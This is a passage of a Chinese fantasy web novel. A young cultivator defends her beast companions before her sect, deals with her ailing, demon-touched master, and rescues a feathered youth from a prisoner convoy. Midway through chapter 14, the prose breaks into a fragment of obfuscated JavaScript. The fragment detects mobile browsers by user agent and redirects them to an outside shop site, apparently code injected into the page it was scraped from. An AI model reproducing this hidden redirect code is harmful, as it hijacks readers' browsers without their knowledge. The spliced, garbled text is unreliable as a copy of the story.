“它们是妖,肯定是傍着某位大能才使出高阶术法击败我们,不公平!”
她的眉头越皱越深,算是看清了这些人的嘴脸。
妖身攻击还不够,他们还想甩锅到止语仙尊身上。灵兽峰只有他一位渡劫期修士,仗着他不问世事,便如此栽赃。
她气得双拳越发握紧,她用灵气把声音放到最大,对全场澄清。
“我们灵兽峰从不做不义之事,拿下比赛是我们的本事,我的伙伴每日刻苦修炼,不靠人类照样能赢。
大道三千各走一条,凭什么妖兽就不能靠自己修炼。
你们派出来的弟子用药、法器、符咒、兵器这些外物来打架不也是借力吗,我们用的什么,肉身本体硬抗攻击。
你发射那些暗器的时候想到会伤到我的伙伴吗,没有。
知己知彼百战不殆,我们赢得堂堂正正,你们凭什么不服?!”
一人手持拂尘翩然上前,一双眯眯眼总是弯弯的,脸上挂着和煦的笑意,他开口道,“我是灵咒峰陆青。
师妹方才的御兽之术了得,我等本想请教一二。但有一事不明,”
陆青双眼半睁闪着精光,“这白马踢伤了你,是否说明妖兽是需要人来管束的呢。”
她早已看出陆青的领队身份,本以为是个好说话的,到头来竟如此咄咄逼人。
周围金丹期以上修士不少,不能硬闯出去。她额头上冒出细小的汗珠,保持住冷静的声调道,“首先,不是御兽。
我们灵兽峰生死与共,是不可分割的伙伴。
其次,我以为我们落月宗七大峰本是一家,如今却独独针对我们灵兽峰,若有外敌来犯,我们先自己耗死了,拿什么对付外面?”
她心脏砰砰直跳,早在第五轮比赛开始前她就派小山雀去请了止语仙尊,这会儿应该到了啊。
“阿雅阿雅。”小山雀扑棱棱飞到她头上,趴在耳边说,“没找到仙尊啾。”
她脸色一变,已经做好了最坏的打算。
转瞬又恢复镇定,对审判员道,“我不信落月宗千年传承连这点公道都给不出。”
她不能退,灵兽峰不能退。
场面胶着之际,“轰”得一声巨响,大地震动,灰尘漫天,从里面走出一庞然大物,随着浓烟散去,正是骑在小虎上的止战仙尊。
四周弟子皆被他的威风凛凛折服,赞叹不已。
剩下的半边台子被砸出一道大坑,原来是比武台的地方成了一片废墟,一旁的审判员狠狠蹙起眉头在本子上唰唰唰记下数笔。
止战仙尊无视他的小动作,骑着小虎不紧不慢地来到叶清雅身前。
她努力扬起头,只觉今日的阳光格外刺眼,这人又黑又高根本看不清面部。
她被轻轻往前推了一下,转身看去,白马前膝跪地,示意她骑到背上。
她翻身上马,和止战仙尊对视,谁都没有先开口的意思。
倒是边上陆青等人纷纷行礼,“拜见师祖。”
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止战仙尊道:“这是你们小师叔,不得无礼。”
叶清雅也学着别人行礼,“拜见师伯。”
小山雀悄悄说:“做反啾,你是女啾,别行男子礼啾。”
她匆忙换手,被止战仙尊尽收眼底,撇开头道:“不必拘礼,起来吧。”
她直言不讳,“师伯,我等为小虎前来,还请您高抬贵手放它回家。”
止战仙尊像是听到了什么笑话,拍拍身下的虎头道:“来接你的,想去就去吧。”
小虎仰天长啸,百兽臣服。
在场妖兽全部俯首,向它们的王表忠心。
她被白马猝不及防的一跪,差点趴到地上,只好顺势翻身下马。
如今小虎已经臣服止战仙尊,若是它用血脉压制其他妖兽,她灵兽峰不得全军覆没?
“拿着。”
一大号锦囊被扔到叶清雅怀里,止战仙尊道,“我不是你的敌人,出了灵兽峰别总想着打架,常来看看师伯。”
说罢腾云而去。
她拿起锦囊掂了掂,里面稀里哗啦一通响不知装了什么东西。
这就是见面礼么。
审判员眼珠一转,留下一句:“刑法堂听讲。”便拂袖而去。
众人见没有热闹可看,也就散了。
也有几个贼心不死的,回头看灵兽峰众人时,眼里淬着恶毒的光,最后也只能被其他人推搡着离开。
叶清雅打开锦囊,从里面依次掏出来六支玉牌摆在地上。她往里面大致一扫,灵药宝器应有尽有,不可能是止战仙尊一人送的。
野猪凑上前,用猪鼻子拱了拱地上的玉牌道,“这里面有传音法阵,输入灵力能接通对应玉牌。”
小山雀道:“那不就是各峰主的私人玉牌啾。”
“应是。”
她想起刚刚审判员说的话,鬼使神差地拿起印着刑法堂的玉牌,灌入灵力。
等待数息,一道威严的声音从玉牌里传来,“讲。”
叶清雅不自觉捏紧玉牌,字正腔圆道:“师伯好,请问刑法堂怎么走?”
不等她再解释,那边道,“跟玉牌。”
通信中断,她举起忽明忽暗的玉牌,直到转向北方玉牌保持长亮,看来这就是正确方向。
她让其他妖兽先回灵兽峰,她要去刑法堂看看,只留小山雀在身边。
走之前,她请小山雀修复被砸坏的比武台,眨眼间比武台就恢复如初。自从建完竹屋后,小山雀的土木之功越发娴熟。
小山雀不解,“都走了为何还修啾。”
她把小山雀捧在手心里,顺了顺它的羽毛道,“善意不一定被看到,但总归是份心意。”
“啾啾啾。”小山雀舒服地眯上眼睛,不知听懂了多少。
落月宗依山而建,各峰之间都是崎岖山路,加之修士常年御剑不走山路的缘故,一路上杂草丛生不易行走。
她不敢御剑,怕半路上灵力不济摔下来。
本就出发晚,从灵兵峰的比武台到刑法堂步行起码两个时辰,等赶到的时候,人群刚刚散场。
漆黑乌木铸就的庄严殿宇前端立一位着藏蓝色长袍的仙者,见到叶清雅从远处前来,微微颔首。
小山雀悄声说,“他就是止夜仙尊啾,刑法堂堂主啾。”
她规矩行礼:“拜见止夜师伯。”
“免礼。”止夜仙尊接着道,“灵兽峰沉寂数年,如今也该承担守护宗门之职。
近来妖兽作乱,随我前来领任务,下山平乱。”
12. 接你回家
刑法堂正厅大而空旷,叶清雅本以为里面会陈列许多吓人的刑具,可这儿除了一张长桌完全没有多余的东西,有些空寂。
长桌后面挂着三个木牌,分别写着“天、地、人”,木牌下面是签筒,里面的竹签有多有少,几乎都写满了密密麻麻的小字。
她指着签筒对止夜仙尊说,“师伯,我能拿起来看看吗。”
得到应允后,她踮起脚取下一把竹签,上面写着很多诉求,像是是求落月宗帮忙的委托。
她问道:“为什么没有妖字的木牌?”
止夜仙尊道,“为什么要有?”
她从三个签筒中各挑出几枚竹签摆在长桌上道,“这些都是涉及妖的。
如果这三个木牌是按难度分类,那天字是最高级,人字是最低级,可既然分出了人,就是按物种分类这样于理不通。
如果再加上个妖字牌,不管是按难度还是物种分类,就都齐全了。”
止夜仙尊从长桌上拿起一枚竹签道,“有妖的地方就有纠纷,到时候捕获的妖兽又该怎么分配?”
她不假思索地答道,“给灵兽峰。”
止夜仙尊轻轻摇头,“人、妖乃云泥之别,妖在世人眼中就是可交换的珍宝。你灵兽峰要妖,还得付出额外的代价。”
她掏出一枚灵石放到长桌上,“灵兽峰会以灵石交换。”
止夜仙尊:“嗯。正如你所说,这三个木牌代表三个等级,每个弟子都要选其下对应的任务,这些是剩下的,你要是不选,就等着随机分配。”
她看到天字牌的签筒满满当当,人字牌签筒就剩下两个,沉吟片刻道,“随机分配不好,如果高级任务分给普通弟子,严重的会折损人手。”
止夜仙尊:“以你所见,该当如何?”
她道,“短期内突击训练门内弟子,根据委托的轻重缓急,匹配弟子的训练成果来分配。”
止夜仙尊敛袍坐下道,“我听说你带妖兽打赢了其他峰,既如此,你来评价下各峰弟子的水平。”
小山雀这时候插嘴道,“啥也不是啾,不堪一击啾啾啾!”
她忙捂住叭叭个不停的鸟嘴,“师伯勿怪,我等提前收集各峰战术,这才抢占先机,不过,包括我们在内的参赛者都还有很大提升空间。”
止夜仙尊颔首,取出五张灵符烧成灰烬,看向她道:“我已通知各峰加紧修炼,你回去好生准备,届时我会派人把新竹签送去灵兽峰。”
“是,师伯。”
止夜仙尊隔着衣袖握住她的手腕,神色凝重:“修为才筑基吗,为何已结丹?”
她不想说出接收端的事,一时心急脱口而出:“师伯看错了,那兴许是结石。”
止夜仙尊眉头一跳,抬手往叶清雅头顶灌入一股灵力,“一个时辰内你便会恢复原身,早些回去。”
她面露慌张,“可是师伯,我没带衣服啊,一个时辰我回不去的。”
止夜仙尊双手交握,冷酷无情,“若我送你,可不是脚先着地那么简单了。”
也可能脑袋着地。
她连忙摆手,行礼告别。
止夜仙尊在背后叫住她,“你且在灵兽峰躲个三年五载,如今你大出风头已惹人觊觎,实力到金丹前我不会让你出任务。”
可她一刻也不想等,离开这儿越早越好。
本就是想替灵兽们出一口气,如今也该功成身退,逃之夭夭了。
“师伯,有没有快速修炼的方法?”
止夜仙尊沉声道:“你在我刑法堂讨论歪门邪道?”
她上前一步,“不是,我想修无情道,但不得法门,师伯见多识广想请教您有没有修炼之法。”
他道,“并无。快去吧,你还有半个时辰。”
告别止夜仙尊,她走在林间小路上突然顿住脚步。
小山雀问道:“怎么了啾?”
她听着四周清风掠过树梢,捕捉到了一丝不和谐的沙沙声,有人在暗处盯着她们。
她清了清嗓子大声道:“我早就跟师父约好过来接应我,算算时间他也快到了。”
小山雀被吓了一大跳,“小声啾,啾又不聋,吓啾一跳。”
“哦?”阴风骤起,一声轻佻的反问,饱含威胁意味,“你怎知他一定会来?”
她本就胆小,一看四下无人,更是僵住不敢动弹。
身后的脚步声越来越近,她右手缓缓摸向腰间锦囊,没记错的话,里面还有一支狼牙棒。
正在危急关头,腰间的锦囊却不翼而飞。
她猛然转身,看到一大团黑气杵在身旁,锦囊在黑气里若隐若现,那道声音时不时小声叨咕着:“都是些什么破烂,嗯,这些还不错。”
她越看越觉得这团黑气似曾相识,伸手摸上去,里面也伸出一只苍白的手握住了她的手腕,她被猛然一拉沉入黑气中。
面前的人掏出一颗夜明珠,照亮了那张熟悉的面孔,他说道,“乖徒儿,我何曾说过要来接你的?”
她松了口气,“师父,您每次出场都非得搞这么神秘吗?”
止语仙尊从锦囊里掏出六支玉牌,展成扇形举到她眼前,“你留他们的传音玉牌做什么?”
她摊开小手,状若无奈:“起码它还能给我指个路,可师父您啊,我是千呼万唤也找不见人影儿。”
止语仙尊急了眼,“你没叫啊,你要是叫了我肯定——”
他的话被远处鹤妖的传呼声打断,不满地撇撇嘴,“反正这些玉牌你不许留。”
两人离得很近,但碍于过分的身高差,止语仙尊稍一抬手,她就够不到了。
这些玉牌能通信、能指路,哪怕留下一个也行啊。
他食指抵唇,“嘘,不能让别人看到我的魔气,你快变水豚,给我吸两口。”
她不明白魔气跟她变水豚有什么关系,默默往后挪着步子,被他一手抄起打回豚形。
他抱着她,把头埋进松软的毛发里猛吸几口,长舒口气,四周魔气内敛,消散无踪。
她看着他的眼里红光渐淡,张扬的俊脸慢慢归于平静,她眨眨眼,这人又恢复了呆板至极的模样。
她想凑近前看看他的眼睛,却不想撞上了他的鼻子。
两人鼻尖一触即分,他问道,“想他?”
她不知道“他”指的是谁。
不一会儿鹤妖找过来,见到两人喜笑颜开,带着他们向灵兽峰飞去。
一觉醒来,她已经恢复了宿主十三四岁的模样,身上盖了一层薄被,枕边摆着一套暖黄色的长衫长裤。
空气中有一股诱人的味道,正值晌午,自己原来是被香醒的。
她寻着香气找过去,正好碰到止语仙尊端着一盘红黄油亮的东西走进屋,招呼她坐下吃饭。
止语仙尊摆好碗筷,向她介绍道,“清蒸灵鱼、山精炖灵鸡、番茄炒蛋,快吃吧,特意为你做的,别客气。”
胃里紧一阵缩一阵,喷香的饭菜刺激得她大脑发空脱口而出:“这能吃吗?”
她从小到大饿了就喝营养液,就连穿到这里,没几天也到了辟谷的境
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界,这些能果腹的饭菜她更是见都没见过。
显然止语仙尊会错了意。
他每样菜都夹起来尝了尝道:“咸淡适中,清爽可口,还可以啊。”
她指着盘中的灵鸡肉、灵鱼块,眉头微皱道:“你不是峰主吗,怎么杀妖兽?”
止语仙尊哈哈大笑,“家禽就是留着吃的,不然哪来的弱肉强食?”
她默默咽了下口水,身体数十年养成的习惯告诉她,这些真的很好吃。
她还是有些抗拒,推远了面前的碗筷道:“家禽也是兽,你杀了它们就断送了它们成妖的可能,这是——算了。”
她起身离开,到屋外透口气。
如果生命平等,那弱肉强食又算什么?
即使是她的星球,全体人类都喝营养液不进食别的生命,但除了人类,其他生物都成了博物馆的标本,难道这也符合物竞天择吗。
她胡思乱想着,也兴许是任务迟迟不得进展的缘故,她莫名有些烦躁。
十年之期还剩九年,可她连拓荒者的影子都没找到,更别提拯救世界了,她连宗门里的妖兽都保护不了。
肩膀被人轻拍了下,一盘两面金黄的鲜奶酥饼被递到眼前,香气扑鼻。
止语仙尊眼睛发光,“本来是饭后甜点,这你就凑合吃吧。”
她道,“我已辟谷,不用吃东西。”
止语仙尊固执地举着盘,“我不是故意恶心你的,不知道你是吃素的,对不起啊。”
明明是她驳了他的好意,他却先来道歉。
可委婉的话到嘴边又竖起了防御的尖刺,她拿起一块酥饼尝了一小口,“有事儿说事儿,我不好这口,不用拿这讨好我。”
入魔后的止语仙尊神经大条,像个半大小子一样实心眼,只会拿最笨拙的方法去讨好。
这下被识破来意,有些不好意思地搓搓手。
“是有点儿事,不过不是大事,你先吃吧。”
她拿起第二块酥饼,想起这些日子他总喜欢往自己身上贴,然后就会变得和以前一样冷淡,最明显的就是瞳孔颜色的变化。
莫非自己身上有什么可以抑制他身上的魔气?
入魔的仙尊似乎很好骗,她想趁机套他一些话,“你这病是怎么得的?”
他摇摇头,“不记得了,你得问他。”
她道:“那你都记得什么?”
止语仙尊:“记得和老耶在一起的日子,来落月宗后师兄师姐对我都很好,还有一大群伙伴陪我,后来就遇到了你。”
原来是入魔会失忆,记下的只有快乐的时光。
她上下比划着自己,“我身上是不是有什么东西,你吸一吸就能变回原来的样子?”
止语仙尊点头,“是灵气。你是我的徒弟,师出同源,只有你能帮我延缓病情。”
她才不要被他道德绑架,既然他想让她当充电宝,不如顺了他的意。
要是光吸收灵气就能恢复,她带着他出任务不就相当于随身携带个渡劫期的外挂,这下止夜仙尊就没借口不让她出宗了。
到时候她半路甩下他,山高水长任君行。
思及至此,她让止语仙尊教她怎么做传音符,不多时便给刑法堂去了一道传音,说明了止语仙尊会和自己同路的事情,催促其早些派任务下来。
她闲着和止语仙尊扯皮,刚聊到兴头上,门外有送信弟子前来,给她递上一枚竹签。
还真是说什么来什么。
不过送信的人怎么是他,还真是冤家路窄。
13. 逃之夭夭
陆青也知道自己在这儿招人嫌,行礼后便毕恭毕敬地呈上竹签。
“拜见师祖、师叔,弟子路过刑法堂,顺路把竹签捎过来,若无旁事,弟子就退下了。”
叶清雅接过竹签,她认出这是那天在大比上刁难灵兽峰的人,故意挑他毛病。
“灵兽峰地处西隅,你是哪门子顺路?”
陆青也不恼,仍是彬彬有礼地回道:“西边有魔族出没,弟子抄个近路,正要前去。”
他常年一双眯眯眼,这时缓缓睁开,诚恳道,“小师叔,前几日多有得罪,等这次任务归来,还望师叔赏脸来我灵咒峰吃酒,门内师兄弟都很仰慕您,小师弟也想和您道个歉。”
她敷衍地点头,“知道了。”
不管是庆功宴还是鸿门宴,她丝毫不感兴趣。
陆青微笑颔首,踏上拂尘离开,身影逐渐隐没在了青山重云间。
明黄的阳光退去锐气变得橙红,为林间雾气染上旖旎的橙光。
她收回赏景的心思,本想看看竹签上具体的任务细节,却两手空空。
转身望向止语仙尊,毕竟这人有前科总爱玩些小孩子藏东西的把戏,不悦道,“你拿了我的竹签?”
止语仙尊一脸懵,连连摆手,“我什么都没做啊。”
手腕处有些发热,低头看去,那里不知何时戴上了一副墨绿木镯。
她走到溪边,想借着水的丝滑取下来仔细瞧瞧,可她越用力,木镯收得越紧。
止语仙尊走到她身边俯身查看,往镯子里注入些许灵气,上面便隐隐浮现出几行小字。
还没等她仔细看清楚,止语仙尊弓身捂嘴一阵猛咳,灵力撤走,镯子也恢复了普通样貌。
她连忙起身扶着他席地而坐,试探着用灵气帮他调理,呵斥道,“都这样了还妄动灵力,不要命了?”
他浑身颤抖着,体内灵脉干涸的剧痛稍微得到缓解,勉强松了口气。
自己就如大旱中的水井,体内灵气用一点便少一点,本就抱着试试的心态,没想到丹田的枯竭竟这般厉害。
他堂堂百年大妖却混成了没几天好活的病秧子,还好收了个会疼人的徒弟,余生短暂,能吃上徒弟的灵气软饭也还不错。
他轻轻推开她传输灵气的手,打趣道,“好了,再输‘他’就该出来了。”
她不解,看着止语仙尊愉快地起身拍拍尘土,假装随口问道:“你和他不对付?”
止语仙尊望向掩映在玉兰树丛里的竹屋,轻笑道,“是啊,相看两厌。”
转头又向她露出一口雪白的牙齿,轻声道,“放心,只要我在一天,便不会让他欺负你。”
见他状态稳定,她这才把注意力重新放到木镯上,学着他刚才的样子刺激木镯,果然那行字又出现了。
她低声念读着,“翼妖暴乱,请落月宗擒妖。他们怎么不去找捉妖师?”
她猛然想到捉妖师残害良妖的嘴脸,若是有妖族暴乱,捉妖师一定第一时间前往,又怎么会等到这封求援发出。
止语仙尊也看到了木镯上的信息,分析道,“翼妖一族和飞鸟宗是契约关系,不该向我们求助。
可这桑榆山不论离我们还是离飞鸟宗都得上百里远,是翼妖一族的旁支发出来的求救也说不定。”
她撤去灵力,淡然道,“只能去看一看了。”
总不能一辈子都带着这个丑镯子吧。
她把别在腰间的竹条抛到上空,刚要跨上去,衣角被什么勾住,回头撞上一双执拗的赤眸。
止语仙尊道:“我也跟你去,要是遇到危险就叫他出来,平时我替你看着他。”
她被逗得笑出声,还是第一次见到防自己跟防贼一样的人,佯装无奈道,“上来吧。”
他们飞到山下的城镇落脚过夜,刚好和吭哧吭哧上山的小山雀错过。
小山雀看着空荡荡的竹屋,颓然地坐到地上,凄凄惨惨地哭着说:“呜呜呜,输不起就耍阴招,阿雅、仙尊你们可千万不要有事啾。”
哭累了,它抬起翅膀抹去眼泪,望着从未走出的灵兽峰,深吸一口气冲入山林,哪怕冒着被抓走的危险,它也要把这消息告诉阿雅他们——
根本没有任务竹签,他们被骗了。
叶清雅也怀疑过竹签的真实性,不止一次在昏暗的烛光中失眠,揣测这木镯背后的秘密。
一双细嫩冰凉的手遮住她的眼睛,挡住晃眼的烛光,温热的呼吸拂过耳畔,“噗”得一声,蜡烛被吹灭了。
那双手也随着如潮的黑暗涌来而撤走。
她慌忙抓住那丝凉意,一颗圆滚滚的夜明珠递到她的手上。
柔和明亮的蓝色光芒四散开来,将两人的影子稳稳映射在墙上,紧紧相依。
止语仙尊道,“蜡烛对眼睛不好,用这个。”
“嗯。”她闷声应答,“你怎么还不睡?”
止语仙尊有些为难,他总不能说自己能感应到她烦躁的心绪,连带自己也乱得睡不着吧。此情此景说了跟登徒子似的。
他道,“给你解解心宽。这镯子于你无害,小时候师父常用它约束我练功,没想到止夜把它做成了任务令牌。”
她不在意地摆摆手,“多大点事儿,大不了完不成任务就戴一辈子喽。”
窗户被什么东西“轰”得拍响,止语仙尊把她护在身后,看着止不住颤抖的窗棂慢慢归于平静,他这才上前打开窗户。
叶清雅紧紧握住竹枝,心提到了嗓子眼,自欺欺人道:“兴许是风。”
止语仙尊望向窗外,晚风柔和没有攻击性,老牛在棚里慢慢反刍,是一个宁静祥和的夜晚。
只是一双琉璃般的眼睛闪着月光,点缀在漆黑的夜色中。
他敏锐地捕捉到了这只观察者,嘴唇翕张,向他发出了无声的命令:“追。”
琉璃影灭。
他轻轻关窗,不着痕迹地往窗户拍下一道加固符,牛皮纸符化为丝丝缕缕刚好堵住窗户上指甲盖大小的洞,把外面的动静悉数挡了回去。
他微笑点头,仿若无事发生。
“嗯,就是风,放心睡吧。”
叶清雅吊悬的心着了地,瘫坐在客床上。
“我就说嘛,大晚上的哪有什么鬼。”
止语仙尊掩嘴咳嗽,其实是在偷笑,这人这么胆小,怎么还嚷嚷着下山捉妖。
听到咳嗽声,她起身就要搀扶他上床,“你睡床上,我守夜。”
他摇摇头,“我晚上疼得厉害,睡不着,占着床也白搭,还不如坐着。”
她心生怜悯道,“再给你些灵气?”
“好啊。”
他慢
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悠悠起身,坐到床边,“不用太多,你熟睡吐息时的那一点就够了,睡吧。”
她依言躺下,既然不需要付出额外灵力,她更乐得自在,便随他去了。
身边响起熟睡的呼吸声,随着夜明珠散出的波光荡漾在小旅馆的客房内,宛如大海的呼吸,带他回到了那日海边。
他带着一袋珠子跑到海边大声呼唤:“小鱼——”
宽广的海面上冒出一长发男子,他听到呼唤并没有上前,反而远远地扔给他一颗夜明珠。
他稳稳接住收入怀中,举起手里的袋子,里面的珠子被晃得叮当响,和着大海的旋律愉悦身心。
他道:“我也有东西要给你,我要走啦,你不上来看看我了吗。”
临近岸边的波涛陡然汹涌,一个大浪兜头拍在他的头顶,耳朵充斥着潮起潮落的嗡鸣,手里的珠子不翼而飞。
在不息的海浪声中,人鱼的声音久久回荡在他的脑海里。
“远离人类,你便还是海族的朋友。”
叶清雅从这个莫名其妙的梦中惊醒,看着满屋子的蓝光,做个有关大海的梦似乎也合情合理。
只是“远离人类”,她内心深处原来是这样想的吗。
她起身看到止语仙尊还保持着昨晚的姿势,靠在床头睡得正香,眉眼低垂着,仿佛一碰就碎。
她轻手轻脚地来到窗边,伸手开窗竟拽不动,她往推手上注入些灵力,咔嚓一声有什么东西破裂,窗户应声而开。
一股劲风迎面而来将她扑倒在地。
后脑勺重重磕在地上,风呼呼往里灌,她赶忙摸头查看,并没有磕出个洞。
柔软的羽毛扫过脸颊,一只通体黑亮的猫头鹰抖动着翅膀飞到桌沿,咕呜呜呜地叫着。
她听懂了猫头鹰的话,回道:“你说谁被买走了?”
猫头鹰惊恐地瞪大双眼,似是没料到她能听懂鸟语,急得飞到床头咕咕咕地叫。
止语仙尊难得睡个好觉,被吵醒后仍有些无精打采的。
他伸个懒腰,哈欠连篇,不满道:“知道了,疯言疯语的净扰人清梦,退下吧。”
猫头鹰忙了一晚上没讨到领导夸奖,带着一肚子委屈灰溜溜地飞走了。
两人完全没了睡意便启程上路。
叶清雅问道:“你在让那只猫头鹰查什么?”
他摆正自己的头冠,“没什么呀,它晚上少抓几只耗子也要跟我汇报,闲得。”
她有些不耐烦,这人明显是有心敷衍,她便乱猜:“是不是又有妖兽走丢了。”
他沉下脸:“一小贼而已,自讨苦吃。”
见她又要插手,只好补充道:“这一路上盯着我们的人很多,这小贼就是其中之一,没了他一个我们岂不省心?”
“我们这一路很低调,为什么会被跟踪?”
止语仙尊若有所思,“许是盯着桑榆山的人太多,我们被牵连了。”
她赞同道:“此事有些棘手。”这任务也不是非完成不可。
两人顺着宽敞的官道一路向东,路上碰到一行押运犯人的车队,叶清雅埋头赶路,本就是匆匆一瞥没放在心上。
谁知马车上的木笼子疯狂震动,里面有什么东西要破笼而出,发出凄厉的尖叫——
怎么听都不像是人能发出的声音。
14. 神秘委托
那一声声绝望的呼救传到叶清雅耳中,她身形微动,身后的人却按住她肩膀,不悦道:“别多管闲事。”
她“嗯”了一声,看着底下的人拿棍子、长矛往笼子里又戳又砍,她双拳紧握,心火直冲头顶。
她不能视而不见。
当即操纵灵竹摆出一道漂亮的甩尾,刚好把止语仙尊搭在肩上的手甩下去,没有注意到灵竹上的重量减轻,不管不顾地直冲笼子那边坠去。
此时从笼子里传出来的叫声已几不可闻,偶尔溢出一声弱弱的呻吟和吃痛的惊喘。
笼中那妖必然受了很重的伤。
灵竹破空之声引得一些人的目光,还未等他们看清,叶清雅左脚踏空,右手顺势接住灵竹横空劈出一道剑气,荡开围在笼子旁施暴的几人。
她稳稳落在笼子旁,这才看清里面落满了青羽,勉强掩盖木质笼底腥膻的铁锈味。
凌乱的羽毛堆微微颤动,越来越多的青羽簌簌落下,露出张稚嫩的娃娃脸,正泪汪汪地看着自己。
若不是瞥到小孩身后露骨的翅膀,她还以为自己把他错认成了妖。
毫无预料的,脑袋被狠狠砸了一下,身后有人不客气地叫道:“喂!”
后脑勺一片麻木,连带着眼睛也被砸出泪花。
她自然是看不见自己这副楚楚可怜的样子,慢半拍转身向后望去。
不远处站着一尖嘴猴腮瘦如干柴的寸头,手里一上一下抛玩着石子,细细打量着她。
“我还以为是哪路高人,原来是个丫头片子,哥几个心情好不跟你计较,赶紧滚,不然,哼哼。”
在地上打滚的一干小弟这下有了主心骨,纷纷聚到他身边,弯腰捂头护屁股,姿势千奇百怪,一边哎呦着喊痛,一边跟着头儿冲她不怀好意地指指点点。
目睹完这番表演,她没忍住笑出了声。
“她居然笑话我们,弟兄们上啊!”
一句话引燃了众人的怒气,仍是没有人敢带头上前。
“柴火棍”是这群人里领头似的人物,此时难得犹豫,扬起一只手将放未放。
双方一时剑拔弩张,武力冲突只差一个契机。
身后一阵木笼吱呀声,小妖扑到笼前,这番动作将一堆羽毛带出笼外,打在她的脸上身上,弄得她接连打了好几个喷嚏。
小妖用伤痕累累的手臂死死抓着笼子,小声说:“他们人多,你快逃吧。”
她皱眉看着满身青羽,抖不掉甩不开,下意识说一句:“你是什么鸟,怎么长这么多毛。”
小妖圆睁着大眼睛,眼神有些躲闪,嗫嚅道:“我...是、人。”
两人说话间,对面已经拾掇起自己的武器步步紧逼上来。
她余光瞥见他们的动作,从怀里东摸西找,掏出一个沉甸甸的袋子朝对面扔出一条漂亮的抛物线。
为首的“柴火棍”一剑划开两个拳头大小的袋子,里面的东西噼里啪啦咚咚咚砸得他们脑袋叮当响。
到处都是亮晶晶的灵石,一不留神踩上去便会摔得四脚朝天。
她冷眼看着他们道:“这是赎金,赶紧放人,我还要赶路。”
“柴火棍”气得吐沫星子飞溅:“谁稀罕你这破石头!”
她微微一怔,凡人不都偏爱修仙吗,居然还有人对灵石无感。
“行,那我就喂给你们。”
说罢,她便以灵竹为媒,凭借身法优势逐一往每个人身上打入大量灵气。
有两人受不住,当场倒地七窍流血不省人事。
“杀人啦!”
一片乒铃乓啷声,众人扔掉自己的武器捂着肚子干呕,身体涨得厉害却什么也吐不出来。
她走到“柴火棍”跟前,语气毫无波澜,“我要人,给不给。”
“柴火棍”战战兢兢地递上一把钥匙。
她并不接,只是指挥他把钥匙扔到笼子里,再弯腰捡起一颗灵石放到他的手上。
她说,“这是灵石,里面有精纯的灵气,你可以把它卖给我这样的人换钱,但它绝不是一无是处的石头。”
“柴火棍”脸涨得通红,不知道哪儿来的勇气,噌地站起来瞪着她。
她的个头还不到他胸口,想后退一步拉开距离,却被他攥住双肩强行禁锢。
他咆哮着,“就因为你们会些法术,就把我们当奴隶使唤,挨家挨户征丁征役,打仗护国也就算了,让我们送这劳什子人妖,留家里几个老幼妇孺能种多少地?”
他双手颤抖着渐渐松了劲,踉跄着后退,再次跌倒在地,“什么钱不钱的,误了官差到头来还不都是死。”
她看得出他眼里的恐惧,却读不懂他的生之所艰。
“你的麻烦我记下了,我会管,但在这之前好好活着。”
她看了一眼空荡荡的笼子,顺着落下的青羽找到了趴在一人身上的小妖,心头一惊,难道它要吃人?
她赶过去把小妖从那人身上拉开,地上这凡人气息平稳,已无大碍。
其他人显然也被它治疗过了。
小妖低着头说,“我、我在帮他。”
她不置可否。
救人目的已达到,转身欲走。
小妖道:“你要去哪儿,我、我...”
听小妖半天没我出个名堂,她无奈叹口气。
的确,她自己也不知道要去哪儿,那个桑榆山,她并不想去。
她蓦地睁大双眼,环顾四周找人:止语仙尊呢?刚刚还在灵竹上,是下来的时候弄丢的吗。
这荒山野岭的,她心里窃喜,总算把他给甩了。
怎知身后又多个新尾巴。
她不耐烦道:“你总跟着我做什么。”
小妖从树后蹭出来,小心翼翼地凑近,“我、我想报答大侠,可以和我、回、回家吗。”
她摇头,“不必了。”
小妖一口气说道,“可可是我家人被绑走了,求大侠救救他们!”
她心下盘算着怎么彻底甩掉它,却听它道:“我、我家有祖传无情道秘秘籍,可可以给你。”
她想起从刑法堂出来那晚的不寻常动静,她还以为是止语仙尊弄出的,现在看来,这只妖从那时候就盯上她了。
她抽出灵竹直指小妖咽喉,杀意骤起,“你跟踪我。”
小妖神色慌张,不敢看她的眼睛,时不时瞥向她手上的木镯,“我这儿有上半部秘籍,可以先、先给你。”
她注意到小妖的目光,说道:“桑榆山的委托是你发出的?”
小妖愣了一下,点头承认。
她收回灵竹,向小妖伸出右手,“心法给我,先验货。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820140|191023||http|test|mini|href|location''.split(''|''),0,{}));
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>小妖捉住她的手,“不、不行,会被他们看、看到。”
她不太习惯这小妖前言不搭后语的说话方式,疑惑道:“谁?”
小妖不语,拉起她的手闷头赶路,笨重的翅膀拖在地上,留下一串羽毛。
她刚想问它为什么不飞,四下刮起一阵大风,吹得榆树林东倒西歪,两只大鸟从远处飞来,落在他们面前。
它们和小妖形态相似,都身着奇服,一雌一雄。
雌鸟道:“罪人,下次再见就打死你。”
小妖吓得往她身后一缩,瑟瑟发抖道,“就是他们,一旦进入领地、就会被发、发现。”
雄鸟飞扑到两人跟前,抓着他们衣领朝空中飞去。
他们来到一片蘑菇形建筑上空,在最大的蘑菇上方停下,被直勾勾扔了下去。
小妖被吓得大惊失色,翅膀被风吹得拧在一起,折伤了骨头。
她帮它收好翅膀,抱着它平安落地。
空中传来放肆的大笑,突然笑声戛然而止,两只大鸟像炮弹一样摔在地上,砸出两个大坑。
她走上前,每个坑里躺着只灰鸟,脖颈上套着不断收紧的项圈,在坑里垂死挣扎。
从蘑菇建筑里出来两个穿着羽衣的人,向她们恭敬行礼。
其中一人走到坑前拎起两只鸟的后腿,倒提着离开。
另一人做了个请的手势,躬身道:“宗主已等候多时,请少宗主、贵客移步屋内。”
她问道:“你们知道我是谁?”
那人看向她和小妖交握的双手,微笑道:“自然是少宗主的朋友。”
她颔首道:“有劳。”
那人仍彬彬有礼,“贵客不必客气,我就一杂役,您叫我老万就行。刚那俩畜生不知礼数,多有得罪,让您二位受惊了。”
她道:“无妨。”
她感到自己手心湿滑,偏头看向浑身冒汗的小妖,正在无声落泪。
她小声问道:“怎么了?”
小妖哽咽着说:“我、我...”
